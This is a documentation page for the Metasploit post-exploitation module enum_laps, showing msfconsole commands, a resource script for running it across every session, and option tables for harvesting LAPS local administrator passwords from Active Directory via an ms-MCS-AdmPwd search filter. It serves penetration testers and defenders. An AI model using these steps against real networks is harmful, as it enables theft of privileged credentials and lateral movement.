Windows Gather Credentials Local Administrator Password Solution - Metasploit


This page contains detailed information about how to use the post/windows/gather/credentials/enum_laps metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

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Module Overview

Name: Windows Gather Credentials Local Administrator Password Solution
Module: post/windows/gather/credentials/enum_laps
Source code: modules/post/windows/gather/credentials/enum_laps.rb
Disclosure date: -
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module will recover the LAPS (Local Administrator Password Solution) passwords, configured in Active Directory, which is usually only accessible by privileged users. Note that the local administrator account name is not stored in Active Directory, so it is assumed to be 'Administrator' by default.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/windows/gather/credentials/enum_laps

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/windows/gather/credentials/enum_laps
msf post(enum_laps) > show options
    ... show and set options ...
msf post(enum_laps) > set SESSION session-id
msf post(enum_laps) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/windows/gather/credentials/enum_laps")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options

  • SESSION: The session to run this module on.

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Msfconsole Usage

Here is how the windows/gather/credentials/enum_laps post exploitation module looks in the msfconsole:

msf6 > use post/windows/gather/credentials/enum_laps

msf6 post(windows/gather/credentials/enum_laps) > show info

       Name: Windows Gather Credentials Local Administrator Password Solution
     Module: post/windows/gather/credentials/enum_laps
   Platform: Windows
       Arch: 
       Rank: Normal

Provided by:
  Ben Campbell <[email protected]>

Compatible session types:
  Meterpreter

Basic options:
  Name              Current Setting                                Required  Description
  ----              ---------------                                --------  -----------
  DOMAIN                                                           no        The domain to query or distinguished name (e.g. DC=test,DC=com)
  FILTER            (&(objectCategory=Computer)(ms-MCS-AdmPwd=*))  yes       Search filter.
  LOCAL_ADMIN_NAME  Administrator                                  yes       The username to store the password against
  MAX_SEARCH        500                                            yes       Maximum values to retrieve, 0 for all.
  SESSION                                                          yes       The session to run this module on.
  STORE_DB          false                                          yes       Store file in loot.
  STORE_LOOT        true                                           yes       Store file in loot.

Description:
  This module will recover the LAPS (Local Administrator Password 
  Solution) passwords, configured in Active Directory, which is 
  usually only accessible by privileged users. Note that the local 
  administrator account name is not stored in Active Directory, so it 
  is assumed to be 'Administrator' by default.

Module Options

This is a complete list of options available in the windows/gather/credentials/enum_laps post exploitation module:

msf6 post(windows/gather/credentials/enum_laps) > show options

Module options (post/windows/gather/credentials/enum_laps):

   Name              Current Setting                                Required  Description
   ----              ---------------                                --------  -----------
   DOMAIN                                                           no        The domain to query or distinguished name (e.g. DC=test,DC=com)
   FILTER            (&(objectCategory=Computer)(ms-MCS-AdmPwd=*))  yes       Search filter.
   LOCAL_ADMIN_NAME  Administrator                                  yes       The username to store the password against
   MAX_SEARCH        500                                            yes       Maximum values to retrieve, 0 for all.
   SESSION                                                          yes       The session to run this module on.
   STORE_DB          false                                          yes       Store file in loot.
   STORE_LOOT        true                                           yes       Store file in loot.

Advanced Options

Here is a complete list of advanced options supported by the windows/gather/credentials/enum_laps post exploitation module:

msf6 post(windows/gather/credentials/enum_laps) > show advanced

Module advanced options (post/windows/gather/credentials/enum_laps):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions

This is a list of all post exploitation actions which the windows/gather/credentials/enum_laps module can do:

msf6 post(windows/gather/credentials/enum_laps) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the windows/gather/credentials/enum_laps post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(windows/gather/credentials/enum_laps) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

No results returned.

Here is a relevant code snippet related to the "No results returned." error message:

54:	      print_error(e.message)
55:	      return
56:	    end
57:	
58:	    if q.nil? || q[:results].empty?
59:	      print_status('No results returned.')
60:	    else
61:	      print_status('Parsing results...')
62:	      results_table = parse_results(q[:results])
63:	      print_line results_table.to_s
64:

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See Also

Check also the following modules related to this module:

Authors

  • Ben Campbell

Version

This page has been produced using Metasploit Framework version 6.2.29-dev. For more modules, visit the Metasploit Module Library.

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